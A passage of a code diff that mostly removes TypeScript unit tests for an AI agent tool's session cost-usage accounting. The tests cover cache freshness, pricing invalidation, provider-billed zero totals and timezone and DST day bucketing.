0.28, cacheRead: 0.028, cacheWrite: 0 }, - }, - ], - }, - }, - }, - } as unknown as OpenClawConfig; - const expectedCost = 0.0028; - - await withStateDir(root, async () => { - const summary = await loadCostUsageSummary({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5, 23, 59, 59, 999), - config, - }); - expect(summary.totals.totalTokens).toBe(15_000); - expect(summary.totals.totalCost).toBeCloseTo(expectedCost, 8); - expect(summary.totals.missingCostEntries).toBe(0); - - await refreshCostUsageCache({ config, sessionFiles: [sessionFile] }); - const cached = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5, 23, 59, 59, 999), - config, - requestRefresh: false, - }); - expect(cached.totals.totalCost).toBeCloseTo(expectedCost, 8); - expect(cached.cacheStatus?.status).toBe("fresh"); - - const logs = await loadSessionLogs({ sessionId: "sess-deepseek-v4", config }); - expect(logs?.[0]?.tokens).toBe(15_000); - expect(logs?.[0]?.cost).toBeCloseTo(expectedCost, 8); - }); - }); - - it("preserves a provider-reconciled zero total with nonzero cost components", async () => { - for (const pricingState of ["known", "unknown"] as const) { - const root = await makeSessionCostRoot(`cost-provider-reconciled-zero-${pricingState}`); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, `sess-openrouter-zero-${pricingState}.jsonl`); - const model = pricingState === "known" ? "openai/gpt-5.5" : "retired/model"; - const entry = { - type: "message", - timestamp: "2026-02-05T12:00:00.000Z", - message: { - role: "assistant", - provider: "openrouter", - model, - content: "ok", - usage: { - input: 1_000, - output: 500, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 1_500, - cost: { input: 0.001, output: 0.001, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - }, - }; - await fs.writeFile( - sessionFile, - transcriptText(`sess-openrouter-zero-${pricingState}`, entry), - "utf-8", - ); - - const config = - pricingState === "known" - ? ({ - models: { - providers: { - openrouter: { - models: [ - { - id: model, - cost: { input: 1, output: 2, cacheRead: 0.5, cacheWrite: 0 }, - }, - ], - }, - }, - }, - } as unknown as OpenClawConfig) - : undefined; - - clearGatewayModelPricingState(); - await withStateDir(root, async () => { - const summary = await loadCostUsageSummary({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5, 23, 59, 59, 999), - config, - }); - expect(summary.totals.totalCost).toBe(0); - expect(summary.totals.inputCost).toBe(0.001); - expect(summary.totals.outputCost).toBe(0.001); - expect(summary.totals.missingCostEntries).toBe(0); - - await refreshCostUsageCache({ config, sessionFiles: [sessionFile] }); - const cached = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5, 23, 59, 59, 999), - config, - requestRefresh: false, - }); - expect(cached.totals.totalCost).toBe(0); - expect(cached.totals.missingCostEntries).toBe(0); - - const logs = await loadSessionLogs({ sessionFile, config }); - expect(logs?.[0]?.cost).toBe(0); - }); - } - }); - - it("preserves a provider-billed zero total when total provenance is explicit", async () => { - const root = await makeSessionCostRoot("cost-provider-billed-zero-origin"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-openrouter-billed-zero.jsonl"); - const entry = { - type: "message", - timestamp: "2026-02-05T12:00:00.000Z", - message: { - role: "assistant", - provider: "openrouter", - model: "openai/gpt-5.5", - content: "provider-billed free route", - usage: { - input: 10_000, - output: 5_000, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 15_000, - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - total: 0, - totalOrigin: "provider-billed", - }, - }, - }, - }; - await fs.writeFile(sessionFile, transcriptText("sess-openrouter-billed-zero", entry), "utf-8"); - - const config = { - models: { - providers: { - openrouter: { - models: [ - { - id: "openai/gpt-5.5", - cost: { input: 1, output: 2, cacheRead: 0.5, cacheWrite: 0 }, - }, - ], - }, - }, - }, - } as unknown as OpenClawConfig; - - clearGatewayModelPricingState(); - await withStateDir(root, async () => { - const summary = await loadCostUsageSummary({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5, 23, 59, 59, 999), - config, - }); - expect(summary.totals.totalTokens).toBe(15_000); - expect(summary.totals.totalCost).toBe(0); - expect(summary.totals.missingCostEntries).toBe(0); - - await refreshCostUsageCache({ config, sessionFiles: [sessionFile] }); - const cached = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5, 23, 59, 59, 999), - config, - requestRefresh: false, - }); - expect(cached.totals.totalCost).toBe(0); - expect(cached.totals.missingCostEntries).toBe(0); - - const logs = await loadSessionLogs({ sessionFile, config }); - expect(logs?.[0]?.tokens).toBe(15_000); - expect(logs?.[0]?.cost).toBe(0); - }); - }); - it("uses top-level transcript provider and model when recomputing session-log cost", async () => { const root = await makeSessionCostRoot("cost-known-pricing-top-level-metadata"); const sessionsDir = path.join(root, "agents", "main", "sessions"); @@ -804,240 +507,6 @@ describe("session cost usage", () => { }); }); - it("treats a pre-upgrade (older-version) durable cache as stale so unpriced usage is rebuilt", async () => { - const root = await makeSessionCostRoot("cost-cache-upgrade"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-upgrade.jsonl"); - const entry = { - type: "message", - timestamp: "2026-02-05T12:00:00.000Z", - message: { - role: "assistant", - provider: "openai", - model: "gpt-5.5", - usage: { - input: 881, - output: 6, - cacheRead: 22400, - cacheWrite: 0, - totalTokens: 23287, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - }, - }; - await fs.writeFile(sessionFile, transcriptText("sess-upgrade", entry), "utf-8"); - - clearGatewayModelPricingState(); - await withStateDir(root, async () => { - // Simulate a durable cache written by a build from before the current cache - // semantics: refresh under the current code, then stamp an older version. - await refreshCostUsageCache({ sessionFiles: [sessionFile] }); - const cache = readUsageCostCache<{ version: number }>(); - cache.version = 6; - writeUsageCostCache(cache); - - // The pre-upgrade cache must be treated as stale (not served), forcing a rebuild - // under current cost semantics instead of reusing old complete-$0 totals. - const cached = await loadSessionCostSummaryFromCache({ - sessionId: "sess-upgrade", - sessionFile, - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - requestRefresh: false, - }); - expect(cached.cacheStatus.status).toBe("stale"); - }); - }); - - it("loads multiple session summaries from one durable cache snapshot", async () => { - const root = await makeSessionCostRoot("cost-cache-batch"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFiles = await Promise.all( - ["sess-a", "sess-b"].map(async (sessionId, index) => { - const sessionFile = path.join(sessionsDir, `${sessionId}.jsonl`); - await fs.writeFile( - sessionFile, - transcriptText(sessionId, { - type: "message", - timestamp: `2026-02-05T12:0${index}:00.000Z`, - message: { - role: "assistant", - provider: "openai", - model: "gpt-5.5", - usage: { input: index + 1, output: 0, totalTokens: index + 1 }, - }, - }), - "utf-8", - ); - return { sessionId, sessionFile }; - }), - ); - - await withStateDir(root, async () => { - await refreshCostUsageCache({ sessionFiles: sessionFiles.map((entry) => entry.sessionFile) }); - const createDayFormatter = formatDatetime.createTimeZoneDayKeyFormatter; - let formatDayKeyCalls = 0; - const dayFormatterSpy = vi - .spyOn(formatDatetime, "createTimeZoneDayKeyFormatter") - .mockImplementation((timeZone) => { - const formatDayKey = createDayFormatter(timeZone); - return (date) => { - formatDayKeyCalls += 1; - return formatDayKey(date); - }; - }); - try { - const result = await loadSessionCostSummariesFromCache({ - sessions: sessionFiles, - agentId: "main", - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - dayBucket: { mode: "time-zone", timeZone: "Europe/Vienna" }, - }); - - expect(result.cacheStatus.status).toBe("fresh"); - expect(result.summaries.map((summary) => summary?.totalTokens)).toEqual([1, 2]); - expect(dayFormatterSpy).toHaveBeenCalledTimes(1); - expect(formatDayKeyCalls).toBe(2); - } finally { - dayFormatterSpy.mockRestore(); - } - }); - }); - - it("rebuckets cached session daily fields with the request timezone offset", async () => { - const root = await makeSessionCostRoot("cost-cache-request-offset"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-offset.jsonl"); - await fs.writeFile( - sessionFile, - [ - { - type: "message", - timestamp: "2026-02-12T00:29:00.000Z", - message: { role: "user", content: "hello" }, - }, - { - type: "message", - timestamp: "2026-02-12T00:30:00.000Z", - message: { - role: "assistant", - provider: "openai", - model: "gpt-5.5", - usage: { input: 10, output: 5, totalTokens: 15, cost: { total: 0.00001 } }, - }, - }, - ] - .map((entry) => JSON.stringify(entry)) - .join("\n"), - "utf-8", - ); - - await withStateDir(root, async () => { - await refreshCostUsageCache({ sessionFiles: [sessionFile] }); - const result = await loadSessionCostSummariesFromCache({ - sessions: [{ sessionId: "sess-offset", sessionFile }], - agentId: "main", - startMs: Date.UTC(2026, 1, 11, 2), - endMs: Date.UTC(2026, 1, 12, 1, 59, 59, 999), - dayBucket: { mode: "utc-offset", utcOffsetMinutes: -120 }, - }); - const summary = requireValue(result.summaries[0], "offset session summary missing"); - - expect(summary.activityDates).toEqual(["2026-02-11"]); - expect(summary.dailyBreakdown).toEqual([{ date: "2026-02-11", tokens: 15, cost: 0.00001 }]); - expect(summary.dailyMessageCounts?.map((entry) => entry.date)).toEqual(["2026-02-11"]); - expect(summary.dailyLatency?.map((entry) => entry.date)).toEqual(["2026-02-11"]); - expect(summary.dailyModelUsage?.map((entry) => entry.date)).toEqual(["2026-02-11"]); - expect(new Set(summary.utcQuarterHourMessageCounts?.map((entry) => entry.date))).toEqual( - new Set(["2026-02-12"]), - ); - }); - }); - - it("rebuckets cost and session days with historical DST offsets", async () => { - const root = await makeSessionCostRoot("cost-cache-request-timezone"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-timezone.jsonl"); - const usage = { - input: 10, - output: 5, - totalTokens: 15, - cost: { total: 0.00001 }, - }; - await fs.writeFile( - sessionFile, - [ - { - type: "message", - timestamp: "2026-03-28T22:29:00.000Z", - message: { role: "user", content: "before DST" }, - }, - { - type: "message", - timestamp: "2026-03-28T22:30:00.000Z", - message: { role: "assistant", usage }, - }, - { - type: "message", - timestamp: "2026-03-29T22:29:00.000Z", - message: { role: "user", content: "after DST" }, - }, - { - type: "message", - timestamp: "2026-03-29T22:30:00.000Z", - message: { role: "assistant", usage }, - }, - ] - .map((entry) => JSON.stringify(entry)) - .join("\n"), - "utf-8", - ); - - await withStateDir(root, async () => { - await refreshCostUsageCache({ agentId: "main", sessionFiles: [sessionFile] }); - const dayBucket = { mode: "time-zone", timeZone: "Europe/Vienna" } as const; - const startMs = Date.parse("2026-03-27T23:00:00.000Z"); - const endMs = Date.parse("2026-03-30T21:59:59.999Z"); - const cost = await loadCostUsageSummaryFromCache({ - agentId: "main", - startMs, - endMs, - dayBucket, - requestRefresh: false, - }); - const sessions = await loadSessionCostSummariesFromCache({ - sessions: [{ sessionId: "sess-timezone", sessionFile }], - agentId: "main", - startMs, - endMs, - dayBucket, - requestRefresh: false, - }); - const session = requireValue(sessions.summaries[0], "timezone session summary missing"); - - expect(cost.days).toBe(3); - expect(cost.daily.map((entry) => [entry.date, entry.totalTokens])).toEqual([ - ["2026-03-28", 15], - ["2026-03-29", 0], - ["2026-03-30", 15], - ]); - expect(session.activityDates).toEqual(["2026-03-28", "2026-03-30"]); - expect(session.dailyBreakdown?.map((entry) => [entry.date, entry.tokens])).toEqual([ - ["2026-03-28", 15], - ["2026-03-30", 15], - ]); - expect(session.dailyMessageCounts?.map((entry) => entry.date)).toEqual([ - "2026-03-28", - "2026-03-30", - ]); - }); - }); - it("ignores compaction checkpoint transcript snapshots in daily totals and discovery", async () => { const root = await makeSessionCostRoot("cost-checkpoint"); const sessionsDir = path.join(root, "agents", "main", "sessions"); @@ -1320,172 +789,6 @@ describe("session cost usage", () => { } }); - it("serves usage cost from durable aggregate cache without rescanning stale files", async () => { - const root = await makeSessionCostRoot("cost-cache"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache.jsonl"); - const now = new Date("2026-02-05T12:00:00.000Z"); - const entry = { - type: "message", - timestamp: now.toISOString(), - message: { - role: "assistant", - provider: "openai", - model: "gpt-5.4", - usage: { - input: 10, - output: 20, - totalTokens: 30, - cost: { total: 0.03 }, - }, - }, - }; - - await fs.writeFile(sessionFile, transcriptText("sess-cache", entry), "utf-8"); - - await withStateDir(root, async () => { - await refreshCostUsageCache(); - await fs.appendFile( - sessionFile, - `${JSON.stringify({ - ...entry, - timestamp: "2026-02-05T12:01:00.000Z", - })}\n`, - "utf-8", - ); - - const summary = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - requestRefresh: false, - }); - - expect(summary.totals.totalTokens).toBe(30); - expect(summary.cacheStatus?.status).toBe("partial"); - expect(summary.cacheStatus?.pendingFiles).toBe(1); - }); - }); - - it("refreshes append-only durable aggregate cache by scanning only appended bytes", async () => { - const root = await makeSessionCostRoot("cost-cache-append"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache-append.jsonl"); - const entry = { - type: "message", - timestamp: "2026-02-05T12:00:00.000Z", - message: { - role: "assistant", - provider: "openai", - model: "gpt-5.4", - usage: { - input: 10, - output: 20, - totalTokens: 30, - cost: { total: 0.03 }, - }, - }, - }; - - await fs.writeFile(sessionFile, transcriptText("sess-cache-append", entry), "utf-8"); - - await withStateDir(root, async () => { - await refreshCostUsageCache(); - const beforeCache = readUsageCostCache<{ - files: Record; - }>(); - expect(beforeCache.files[sessionFile]?.parsedRecords).toBe(1); - - await fs.appendFile( - sessionFile, - `${JSON.stringify({ - ...entry, - timestamp: "2026-02-05T12:01:00.000Z", - })}\n`, - "utf-8", - ); - await refreshCostUsageCache(); - - const summary = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - requestRefresh: false, - }); - const afterCache = readUsageCostCache<{ - files: Record; - }>(); - - expect(summary.totals.totalTokens).toBe(60); - expect(summary.totals.totalCost).toBeCloseTo(0.06, 5); - expect(summary.cacheStatus?.status).toBe("fresh"); - expect(afterCache.files[sessionFile]?.parsedRecords).toBe(2); - expect(afterCache.files[sessionFile]?.countedRecords).toBe(2); - }); - }); - - it("bounds durable aggregate scans to the stat snapshot", async () => { - const root = await makeSessionCostRoot("cost-cache-active-write"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache-active-write.jsonl"); - const entry = { - type: "message", - timestamp: "2026-02-05T12:00:00.000Z", - message: { - role: "assistant", - provider: "openai", - model: "gpt-5.4", - usage: { - input: 10, - output: 20, - totalTokens: 30, - cost: { total: 0.03 }, - }, - }, - }; - const initialText = transcriptText("sess-cache-active-write", entry); - await fs.writeFile(sessionFile, initialText, "utf-8"); - const statSnapshot = await nodeFs.promises.stat(sessionFile); - await fs.appendFile( - sessionFile, - `${JSON.stringify({ - ...entry, - timestamp: "2026-02-05T12:01:00.000Z", - })}\n`, - "utf-8", - ); - - const originalStat = nodeFs.promises.stat.bind(nodeFs.promises); - let returnedStaleStat = false; - const statSpy = vi.spyOn(nodeFs.promises, "stat").mockImplementation(async (target) => { - if (String(target) === sessionFile && !returnedStaleStat) { - returnedStaleStat = true; - return statSnapshot; - } - return await originalStat(target); - }); - - await withStateDir(root, async () => { - try { - await refreshCostUsageCache(); - } finally { - statSpy.mockRestore(); - } - await refreshCostUsageCache(); - - const summary = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - requestRefresh: false, - }); - - expect(summary.totals.totalTokens).toBe(60); - expect(summary.totals.totalCost).toBeCloseTo(0.06, 5); - expect(summary.cacheStatus?.status).toBe("fresh"); - }); - }); - it("limits transcript stat fanout when listing durable cost inputs", async () => { const root = await makeSessionCostRoot("cost-cache-stat-fanout"); const sessionsDir = path.join(root, "agents", "main", "sessions"); @@ -1550,165 +853,6 @@ describe("session cost usage", () => { expect(maxActiveStats).toBeLessThanOrEqual(32); }); - it("invalidates durable aggregate cache when pricing config changes", async () => { - const root = await makeSessionCostRoot("cost-cache-pricing"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache-pricing.jsonl"); - await fs.writeFile( - sessionFile, - transcriptText("sess-cache-pricing", { - type: "message", - timestamp: "2026-02-05T12:00:00.000Z", - message: { - role: "assistant", - provider: "openai", - model: "gpt-5.4", - usage: { - input: 1000, - output: 1000, - totalTokens: 2000, - }, - }, - }), - "utf-8", - ); - - const configFor = (input: number, output: number) => - ({ - models: { - providers: { - openai: { - models: [{ id: "gpt-5.4", cost: { input, output, cacheRead: 0, cacheWrite: 0 } }], - }, - }, - }, - }) as unknown as OpenClawConfig; - - await withStateDir(root, async () => { - await refreshCostUsageCache({ config: configFor(1, 1) }); - const cache = readUsageCostCache<{ - pricingFingerprint?: unknown; - files: Record>; - }>(); - expect(typeof cache.pricingFingerprint).toBe("string"); - expect(cache.files[sessionFile]).not.toHaveProperty("pricingFingerprint"); - expect(cache.files[sessionFile]).not.toHaveProperty("filePath"); - expect(cache.files[sessionFile]).not.toHaveProperty("sessionId"); - - const stale = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - config: configFor(2, 2), - requestRefresh: false, - }); - expect(stale.totals.totalCost).toBe(0); - expect(stale.cacheStatus?.status).toBe("stale"); - - await refreshCostUsageCache({ config: configFor(2, 2) }); - const refreshed = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - config: configFor(2, 2), - requestRefresh: false, - }); - expect(refreshed.totals.totalCost).toBeCloseTo(0.004, 5); - expect(refreshed.cacheStatus?.status).toBe("fresh"); - }); - }); - - it("does not create usage cache sidecar files", async () => { - const root = await makeSessionCostRoot("cost-cache-no-sidecars"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache-no-sidecars.jsonl"); - await fs.writeFile( - sessionFile, - transcriptText("sess-cache-no-sidecars", { - type: "message", - timestamp: "2026-02-05T12:00:00.000Z", - message: { - role: "assistant", - provider: "openai", - model: "gpt-5.4", - usage: { - input: 10, - output: 20, - totalTokens: 30, - cost: { total: 0.03 }, - }, - }, - }), - "utf-8", - ); - - await withStateDir(root, async () => { - const result = await refreshCostUsageCache(); - expect(result).toBe("refreshed"); - expect( - (await fs.readdir(sessionsDir)).filter((name) => name.includes("usage-cost-cache")), - ).toEqual([]); - - const summary = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - requestRefresh: false, - }); - expect(summary.totals.totalTokens).toBe(30); - expect(summary.cacheStatus?.status).toBe("fresh"); - }); - }); - - it("keeps queued durable aggregate refresh state scoped to the agent database", async () => { - const firstRoot = await makeSessionCostRoot("cost-cache-queued-first"); - const secondRoot = await makeSessionCostRoot("cost-cache-queued-second"); - const writeSession = async (root: string, sessionId: string) => { - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - await fs.writeFile( - path.join(sessionsDir, `${sessionId}.jsonl`), - transcriptText(sessionId, { - type: "message", - timestamp: "2026-02-05T12:00:00.000Z", - message: { - role: "assistant", - usage: { - input: 10, - output: 20, - totalTokens: 30, - cost: { total: 0.03 }, - }, - }, - }), - "utf-8", - ); - }; - - await writeSession(firstRoot, "sess-cache-queued-first"); - await writeSession(secondRoot, "sess-cache-queued-second"); - - vi.useFakeTimers({ toFake: ["setTimeout", "clearTimeout"] }); - try { - await withStateDir(firstRoot, async () => { - requestCostUsageCacheRefresh(); - }); - - await withStateDir(secondRoot, async () => { - const summary = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - requestRefresh: false, - }); - - expect(summary.cacheStatus?.status).toBe("stale"); - }); - - await vi.runAllTimersAsync(); - } finally { - vi.useRealTimers(); - } - }); - it("rebuilds cold durable aggregate cache synchronously when requested", async () => { const root = await makeSessionCostRoot("cost-cache-cold-sync"); const sessionsDir = path.join(root, "agents", "main", "sessions"); @@ -1802,858 +946,98 @@ describe("session cost usage", () => { }); expect(summary.totals.totalTokens).toBe(30); - await waitFor(async () => { - const cache = readUsageCostCache<{ - files: Record; - }>(); - return Boolean(cache.files[oldSessionFile]); - }); - }); - }); - - it("invalidates durable aggregate cache when gateway pricing cache changes", async () => { - const root = await makeSessionCostRoot("cost-cache-gateway-pricing"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache-gateway-pricing.jsonl"); - await fs.writeFile( - sessionFile, - transcriptText("sess-cache-gateway-pricing", { - type: "message", - timestamp: "2026-02-05T12:00:00.000Z", - message: { - role: "assistant", - provider: "openai", - model: "gpt-5.4", - usage: { - input: 1000, - output: 1000, - totalTokens: 2000, - }, + await vi.waitFor( + async () => { + const refreshed = await loadCostUsageSummaryFromCache({ + startMs: Date.UTC(2026, 1, 5), + endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, + requestRefresh: false, + }); + expect(refreshed.totals.totalTokens).toBe(230); }, - }), - "utf-8", - ); - - const setGatewayPricing = (input: number, output: number) => - setGatewayModelPricing([ - { - provider: "openai", - model: "gpt-5.4", - pricing: { input, output, cacheRead: 0, cacheWrite: 0 }, - }, - ]); - - await withStateDir(root, async () => { - try { - setGatewayPricing(1, 1); - await refreshCostUsageCache(); - - setGatewayPricing(2, 2); - const stale = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - requestRefresh: false, - }); - expect(stale.totals.totalCost).toBe(0); - expect(stale.cacheStatus?.status).toBe("stale"); - - await refreshCostUsageCache(); - const refreshed = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - requestRefresh: false, - }); - expect(refreshed.totals.totalCost).toBeCloseTo(0.004, 5); - expect(refreshed.cacheStatus?.status).toBe("fresh"); - } finally { - clearGatewayModelPricingState(); - } - }); - }); - - it("preserves sessions usage range semantics when cached summaries span the range", async () => { - const root = await makeSessionCostRoot("cost-cache-session-range"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache-range.jsonl"); - const assistantEntry = (timestamp: string, totalTokens: number) => ({ - type: "message", - timestamp, - message: { - role: "assistant", - provider: "openai", - model: "gpt-5.5", - content: [{ type: "tool_use", name: "weather" }], - usage: { - input: totalTokens, - output: 0, - totalTokens, - cost: { total: totalTokens / 1000 }, - }, - }, - }); - const userEntry = (timestamp: string) => ({ - type: "message", - timestamp, - message: { - role: "user", - content: "hello", - }, - }); - - await fs.writeFile( - sessionFile, - [ - JSON.stringify(assistantEntry("2026-02-04T12:00:00.000Z", 10)), - JSON.stringify(userEntry("2026-02-05T11:59:00.000Z")), - JSON.stringify(assistantEntry("2026-02-05T12:00:00.000Z", 20)), - ].join("\n"), - "utf-8", - ); - - await withStateDir(root, async () => { - await refreshCostUsageCache({ sessionFiles: [sessionFile] }); - const createReadStreamSpy = vi.spyOn(nodeFs, "createReadStream"); - try { - const summary = await loadSessionCostSummaryFromCache({ - sessionId: "sess-cache-range", - sessionFile, - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - requestRefresh: false, - }); - - expect(summary.cacheStatus.status).toBe("fresh"); - expect(summary.summary?.totalTokens).toBe(20); - expect(summary.summary?.dailyBreakdown).toEqual([ - { date: "2026-02-05", tokens: 20, cost: 0.02 }, - ]); - expect(summary.summary?.messageCounts).toEqual({ - total: 2, - user: 1, - assistant: 1, - toolCalls: 1, - toolResults: 0, - errors: 0, - }); - expect(summary.summary?.toolUsage?.tools).toEqual([{ name: "weather", count: 1 }]); - expect(summary.summary?.modelUsage?.[0]?.provider).toBe("openai"); - expect(summary.summary?.modelUsage?.[0]?.model).toBe("gpt-5.5"); - expect(summary.summary?.dailyModelUsage?.[0]?.model).toBe("gpt-5.5"); - expect(summary.summary?.utcQuarterHourMessageCounts).toHaveLength(2); - expect(createReadStreamSpy).not.toHaveBeenCalled(); - } finally { - createReadStreamSpy.mockRestore(); - } - }); - }); - - it("invalidates old durable usage cache versions before ranged session derivation", async () => { - const root = await makeSessionCostRoot("cost-cache-session-version"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache-version.jsonl"); - await fs.writeFile( - sessionFile, - JSON.stringify({ - type: "message", - timestamp: "2026-02-05T12:00:00.000Z", - message: { - role: "assistant", - provider: "openai", - model: "gpt-5.5", - usage: { - input: 10, - output: 0, - totalTokens: 10, - cost: { total: 0.01 }, - }, - }, - }), - "utf-8", - ); - - await withStateDir(root, async () => { - await refreshCostUsageCache({ sessionFiles: [sessionFile] }); - const cache = readUsageCostCache<{ version: number }>(); - cache.version = 2; - writeUsageCostCache(cache); - - const summary = await loadSessionCostSummaryFromCache({ - sessionId: "sess-cache-version", - sessionFile, - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - requestRefresh: false, - }); - - expect(summary.summary).toBeNull(); - expect(summary.cacheStatus.status).toBe("stale"); - }); - }); - - it("does not synchronously scan missing session summaries in background mode", async () => { - const root = await makeSessionCostRoot("cost-cache-session-background"); - const agentId = "background"; - const sessionsDir = path.join(root, "agents", agentId, "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache-session-background.jsonl"); - await fs.writeFile( - sessionFile, - JSON.stringify({ - type: "message", - timestamp: "2026-02-05T12:00:00.000Z", - message: { - role: "assistant", - usage: { - input: 10, - output: 20, - totalTokens: 30, - cost: { total: 0.03 }, - }, - }, - }), - "utf-8", - ); - - await withStateDir(root, async () => { - await refreshCostUsageCache({ agentId }); - vi.useFakeTimers({ toFake: ["setTimeout", "clearTimeout"] }); - const createReadStreamSpy = vi.spyOn(nodeFs, "createReadStream"); - try { - const summary = await loadSessionCostSummaryFromCache({ - agentId, - sessionId: "sess-cache-session-background", - sessionFile, - refreshMode: "background", - }); - - expect(summary.summary).toBeNull(); - expect(summary.cacheStatus.status).toBe("refreshing"); - expect(createReadStreamSpy).not.toHaveBeenCalled(); - } finally { - createReadStreamSpy.mockRestore(); - vi.useRealTimers(); - } - }); - }); - - it("fully scans when adding first session metadata to an append-only aggregate cache", async () => { - const root = await makeSessionCostRoot("cost-cache-session-upgrade"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache-session-upgrade.jsonl"); - const entry = (timestamp: string, totalTokens: number) => - JSON.stringify({ - type: "message", - timestamp, - message: { - role: "assistant", - usage: { - input: totalTokens, - output: 0, - totalTokens, - cost: { total: totalTokens / 1000 }, - }, - }, - }); - - await fs.writeFile(sessionFile, `${entry("2026-02-05T12:00:00.000Z", 10)}\n`, "utf-8"); - - await withStateDir(root, async () => { - await refreshCostUsageCache(); - await fs.appendFile(sessionFile, `${entry("2026-02-05T12:01:00.000Z", 20)}\n`, "utf-8"); - - const summary = await loadSessionCostSummaryFromCache({ - sessionId: "sess-cache-session-upgrade", - sessionFile, - refreshMode: "sync-when-empty", - }); - - expect(summary.cacheStatus.status).toBe("fresh"); - expect(summary.summary?.totalTokens).toBe(30); - expect(summary.summary?.dailyBreakdown).toEqual([ - { date: "2026-02-05", tokens: 30, cost: 0.03 }, - ]); - }); - }); - - it("preserves untimestamped usage entries in cached session summaries", async () => { - const root = await makeSessionCostRoot("cost-cache-session-untimestamped"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache-session-untimestamped.jsonl"); - await fs.writeFile( - sessionFile, - JSON.stringify({ - type: "message", - message: { - role: "assistant", - provider: "openai", - model: "gpt-5.5", - usage: { - input: 10, - output: 20, - totalTokens: 30, - cost: { total: 0.03 }, - }, - }, - }), - 